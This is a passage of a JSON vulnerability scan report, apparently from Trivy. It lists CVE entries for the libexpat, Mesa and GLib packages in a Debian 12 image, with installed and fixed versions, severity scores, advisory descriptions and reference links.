"https://bugzilla.redhat.com/2550433", "https://bugzilla.redhat.com/2550434", "https://bugzilla.redhat.com/2550436", "https://bugzilla.redhat.com/2550438", "https://bugzilla.redhat.com/2550440", "https://bugzilla.redhat.com/2550442", "https://bugzilla.redhat.com/2550444", "https://bugzilla.redhat.com/2550446", "https://bugzilla.redhat.com/2550450", "https://bugzilla.redhat.com/2550451", "https://bugzilla.redhat.com/2550452", "https://bugzilla.redhat.com/2550454", "https://bugzilla.redhat.com/2550455", "https://bugzilla.redhat.com/2550458", "https://bugzilla.redhat.com/2550459", "https://bugzilla.redhat.com/2550461", "https://bugzilla.redhat.com/2550463", "https://bugzilla.redhat.com/2550464", "https://bugzilla.redhat.com/2550465", "https://bugzilla.redhat.com/2550467", "https://bugzilla.redhat.com/2550468", "https://bugzilla.redhat.com/2550469", "https://bugzilla.redhat.com/2550470", "https://bugzilla.redhat.com/2550471", "https://bugzilla.redhat.com/2550472", "https://bugzilla.redhat.com/2550473", "https://bugzilla.redhat.com/2550474", "https://bugzilla.redhat.com/2550475", "https://bugzilla.redhat.com/2550476", "https://bugzilla.redhat.com/2550477", "https://bugzilla.redhat.com/2550478", "https://bugzilla.redhat.com/2550480", "https://bugzilla.redhat.com/show_bug.cgi?id=2468575", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45186", "https://errata.almalinux.org/9/ALSA-2026-93443.html", "https://errata.rockylinux.org/RLSA-2026:23230", "https://github.com/libexpat/libexpat/pull/1216", "https://linux.oracle.com/cve/CVE-2026-45186.html", "https://linux.oracle.com/errata/ELSA-2026-93443.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45186", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45186.json", "https://ubuntu.com/security/notices/USN-8790-1", "https://www.cve.org/CVERecord?id=CVE-2026-45186" ], "PublishedDate": "2026-05-10T07:16:07.883Z", "LastModifiedDate": "2026-09-16T13:17:58.967Z" }, { "VulnerabilityID": "CVE-2026-66046", "VendorIDs": [ "DLA-4807-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-66046", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c6338a70c704a7b0cf40483af842c4a1907d6d5afcf3fe31b975a26b1a53055a", "Title": "expat: Expat: Denial of Service via quadratic complexity in attribute processing", "Description": "Expat through 2.8.3 contains a denial of service vulnerability caused by quadratic algorithmic complexity in the storeAtts() function in xmlparse.c, where processing N specified attributes with non-normalized values triggers an O(N^2) linear scan of elementType-\u003edefaultAtts to determine CDATA status. A remote unauthenticated attacker can supply a single well-formed XML document of a few megabytes to an application parsing untrusted XML to cause excessive CPU consumption, resulting in denial of service without requiring authentication, external entity resolution, or non-default parser options.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-66046", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat/pull/1321", "https://linux.oracle.com/cve/CVE-2026-66046.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-66046", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-66046", "https://www.vulncheck.com/advisories/expat-denial-of-service-via-storeatts-quadratic-complexity" ], "PublishedDate": "2026-08-18T15:16:57Z", "LastModifiedDate": "2026-10-22T22:10:00.25Z" }, { "VulnerabilityID": "CVE-2026-76957", "VendorIDs": [ "DLA-4765-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u3", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c18d95d3c2653a0597bf8283879beed613263b14fd68018023153f26f6ed2aeb", "Title": "libexpat: libexpat: Memory corruption vulnerability allows arbitrary code execution or denial of service", "Description": "libexpat before 2.8.4 lacks handler call depth tracking with custom encoding callbacks. Thus, a use-after-free can occur. NOTE: this is similar to CVE-2026-50219, CVE-2026-56131 and CVE-2026-56412.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "V3Score": 4.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76957", "https://github.com/libexpat/libexpat/pull/1322", "https://github.com/libexpat/libexpat/pull/1329", "https://nvd.nist.gov/vuln/detail/CVE-2026-76957", "https://ubuntu.com/security/notices/USN-8813-1", "https://www.cve.org/CVERecord?id=CVE-2026-76957" ], "PublishedDate": "2026-08-20T05:16:29.747Z", "LastModifiedDate": "2026-09-08T20:56:31.86Z" }, { "VulnerabilityID": "CVE-2026-77214", "VendorIDs": [ "DLA-4849-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77214", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:64d9701b74da46392b0bc263715ef6bad606391c03a22a68ec5570650b2d1e2a", "Title": "expat: expat: Information disclosure via heap buffer over-read in XML_ParseBuffer", "Description": "libexpat before commit 13c5f63 contains a heap buffer over-read vulnerability in xmlparse.c. XML_ParseBuffer advances the parse buffer end with parser-\u003em_bufferEnd += len using a caller-supplied length that is not validated against the allocated buffer size, so repeated XML_ParseBuffer calls move m_bufferEnd past the end of the heap allocation and subsequent parsing reads out of bounds. Reaching this path requires a parse buffer to already be present; otherwise XML_ParseBuffer returns XML_ERROR_NO_BUFFER. A buffer is present after a prior call to XML_GetBuffer, either directly (the common case) or indirectly through a prior XML_Parse call that allocates the buffer internally. The over-read discloses adjacent heap memory to the calling application, recovering heap pointers, libc function pointers, and code pointers sufficient to defeat ASLR and build further exploitation primitives.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:88247", "https://access.redhat.com/security/cve/CVE-2026-77214", "https://bugzilla.redhat.com/2543288", "https://bugzilla.redhat.com/2547476", "https://bugzilla.redhat.com/show_bug.cgi?id=2543288", "https://bugzilla.redhat.com/show_bug.cgi?id=2547476", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-77214", "https://errata.almalinux.org/9/ALSA-2026-88247.html", "https://errata.rockylinux.org/RLSA-2026:88247", "https://github.com/libexpat/libexpat/commit/13c5f63a7f1c52c2feee3b16a1134d4fb68e9ea0", "https://github.com/libexpat/libexpat/pull/1393", "https://linux.oracle.com/cve/CVE-2026-77214.html", "https://linux.oracle.com/errata/ELSA-2026-92323.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-77214", "https://www.cve.org/CVERecord?id=CVE-2026-77214", "https://www.vulncheck.com/advisories/libexpat-heap-buffer-over-read-in-xmlparse-c-via-xml-parsebuffer" ], "PublishedDate": "2026-10-07T15:17:53.327Z", "LastModifiedDate": "2026-10-10T03:17:08.487Z" }, { "VulnerabilityID": "CVE-2026-93990", "VendorIDs": [ "DLA-4807-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93990", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:47d9578f9488a7bf20e2874c6ce52297fc64c7cd24957043864f61cdca350e82", "Title": "expat: Expat: XML Injection via Malformed UTF-16 Input", "Description": "Expat before 2.8.5 fails to validate that a high surrogate in UTF-16 input is followed by a low surrogate, allowing malformed UTF-16 sequences to be accepted. Attackers can supply UTF-16 encoded XML containing lone high surrogates that consume the following code unit, causing Expat to pass unpaired surrogates to applications built with XML_UNICODE and to silently replace input characters in other builds.", "Severity": "HIGH", "CweIDs": [ "CWE-176" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72663", "https://access.redhat.com/security/cve/CVE-2026-93990", "https://blog.hartwork.org/posts/expat-2-8-5-released/", "https://bugzilla.redhat.com/2538967", "https://bugzilla.redhat.com/show_bug.cgi?id=2517901", "https://bugzilla.redhat.com/show_bug.cgi?id=2538967", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-66046", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93990", "https://errata.almalinux.org/9/ALSA-2026-72663.html", "https://errata.rockylinux.org/RLSA-2026:72663", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/commit/ff6e1d7e750bbe245178f51a47a965dc8342861a", "https://github.com/libexpat/libexpat/pull/1282", "https://github.com/libexpat/libexpat/releases/tag/R_2_8_5", "https://linux.oracle.com/cve/CVE-2026-93990.html", "https://linux.oracle.com/errata/ELSA-2026-74001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93990", "https://www.cve.org/CVERecord?id=CVE-2026-93990", "https://www.vulncheck.com/advisories/expat-through-2.8.4-malformed-utf-16-acceptance-via-unchecked-surrogate" ], "PublishedDate": "2026-09-19T23:17:10.203Z", "LastModifiedDate": "2026-09-28T17:17:53.037Z" }, { "VulnerabilityID": "CVE-2026-40393", "PkgID": "libgbm1@22.3.6-1+deb12u1", "PkgName": "libgbm1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgbm1@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "daf4364d5855a870" }, "InstalledVersion": "22.3.6-1+deb12u1", "FixedVersion": "22.3.6-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5a043f4efd6ddd7d06dd828e724eb24a05409a5526107d5ee39fd73a1eb401b3", "Title": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory acces ...", "Description": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory access can occur in WebGPU because the amount of to-be-allocated data depends on an untrusted party, and is then used for alloca.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 4, "photon": 4, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/39866", "https://lists.debian.org/debian-lts-announce/2026/07/msg00021.html", "https://lists.freedesktop.org/archives/mesa-dev/2026-February/226597.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40393", "https://ubuntu.com/security/notices/USN-8427-1", "https://www.cve.org/CVERecord?id=CVE-2026-40393" ], "PublishedDate": "2026-04-12T19:16:20.797Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40393", "PkgID": "libgl1-mesa-dri@22.3.6-1+deb12u1", "PkgName": "libgl1-mesa-dri", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgl1-mesa-dri@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "8760400694b55647" }, "InstalledVersion": "22.3.6-1+deb12u1", "FixedVersion": "22.3.6-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d8292f496e2d10f93df159a4f57a61abd4ab5c500a2305ecb9a437e52386faa", "Title": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory acces ...", "Description": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory access can occur in WebGPU because the amount of to-be-allocated data depends on an untrusted party, and is then used for alloca.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 4, "photon": 4, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/39866", "https://lists.debian.org/debian-lts-announce/2026/07/msg00021.html", "https://lists.freedesktop.org/archives/mesa-dev/2026-February/226597.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40393", "https://ubuntu.com/security/notices/USN-8427-1", "https://www.cve.org/CVERecord?id=CVE-2026-40393" ], "PublishedDate": "2026-04-12T19:16:20.797Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40393", "PkgID": "libglapi-mesa@22.3.6-1+deb12u1", "PkgName": "libglapi-mesa", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglapi-mesa@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "99b5135f6a5b704e" }, "InstalledVersion": "22.3.6-1+deb12u1", "FixedVersion": "22.3.6-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6459d4d534399674ba47a71ba099a2546ae50d311c2b12c1d6a9d920c1fd3e41", "Title": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory acces ...", "Description": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory access can occur in WebGPU because the amount of to-be-allocated data depends on an untrusted party, and is then used for alloca.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 4, "photon": 4, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/39866", "https://lists.debian.org/debian-lts-announce/2026/07/msg00021.html", "https://lists.freedesktop.org/archives/mesa-dev/2026-February/226597.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40393", "https://ubuntu.com/security/notices/USN-8427-1", "https://www.cve.org/CVERecord?id=CVE-2026-40393" ], "PublishedDate": "2026-04-12T19:16:20.797Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-58016", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58016", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5badc0051172990edc2af31e976f85c5525c00aa177da3a81168d8037950617c", "Title": "glib: integer underflow in gio/gdbusintrospection.c via \"g_dbus_node_info_new_for_xml\"", "Description": "A flaw was found in GLib. A state confusion issue exists in g_dbus_node_info_new_for_xml() in the gio/gdbusintrospection.c file when processing malformed D-Bus introspection XML, specifically with a `node` element nested within other elements like `method`, `signal`, `property` or `arg`. This issue can cause an unsigned integer overflow and lead to an out-of-bounds read, resulting in a denial of service.", "Severity": "CRITICAL", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "julia": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42063", "https://access.redhat.com/errata/RHSA-2026:42089", "https://access.redhat.com/errata/RHSA-2026:42090", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:46836", "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:51175", "https://access.redhat.com/errata/RHSA-2026:51176", "https://access.redhat.com/errata/RHSA-2026:51177", "https://access.redhat.com/errata/RHSA-2026:51181", "https://access.redhat.com/errata/RHSA-2026:51182", "https://access.redhat.com/errata/RHSA-2026:51183", "https://access.redhat.com/errata/RHSA-2026:51184", "https://access.redhat.com/errata/RHSA-2026:51185", "https://access.redhat.com/errata/RHSA-2026:53371", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-58016", "https://bugzilla.redhat.com/2492257", "https://bugzilla.redhat.com/show_bug.cgi?id=2492257", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58016", "https://errata.almalinux.org/9/ALSA-2026-42089.html", "https://errata.rockylinux.org/RLSA-2026:42089", "https://github.com/advisories/GHSA-8rpw-4xx7-27w7", "https://gitlab.gnome.org/GNOME/glib/-/issues/3932", "https://linux.oracle.com/cve/CVE-2026-58016.html", "https://linux.oracle.com/errata/ELSA-2026-51183.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58016", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58016" ], "PublishedDate": "2026-06-30T13:19:17.84Z", "LastModifiedDate": "2026-11-06T07:17:24.237Z" }, { "VulnerabilityID": "CVE-2026-58010", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58010", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b57c4ede88f94af768290126ca9734a708bdc3ca36c458868a6147485f3ccbc3", "Title": "glib: buffer over-read in glib/gvariant-serialiser.c via gvs_tuple_is_normal()", "Description": "A flaw was found in GLib. An off-by-one error can occur in the gvs_tuple_is_normal function in the glib/gvariant-serialiser.c file when doing an alignment padding check because the bounds check uses \u003e instead of \u003e=, causing an out-of-bounds read of only 1 byte. This issue can cause a minor information disclosure of 1 byte and a denial of service when the out-of-bounds read crosses a page boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58010", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", 